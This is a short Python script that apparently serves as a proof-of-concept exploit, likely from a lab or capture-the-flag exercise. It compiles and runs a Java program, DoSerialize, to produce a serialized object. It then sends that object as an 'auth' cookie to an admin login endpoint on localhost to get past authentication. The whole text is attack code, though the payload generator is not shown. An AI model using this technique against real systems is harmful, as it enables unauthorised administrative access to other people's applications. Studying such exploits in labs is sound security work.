import requests
from subprocess import Popen, PIPE

def console(cmd):
    p = Popen(cmd, shell=True, stdout=PIPE)
    out, err = p.communicate()
    return (p.returncode, out, err)


console("javac DoSerialize.java")
cookieval = console("java DoSerialize")
cookie = {'auth': cookieval[1].strip()}
r = requests.post('http://localhost:8081/admin/login', cookies=cookie, data=" ",allow_redirects=True)
print r.text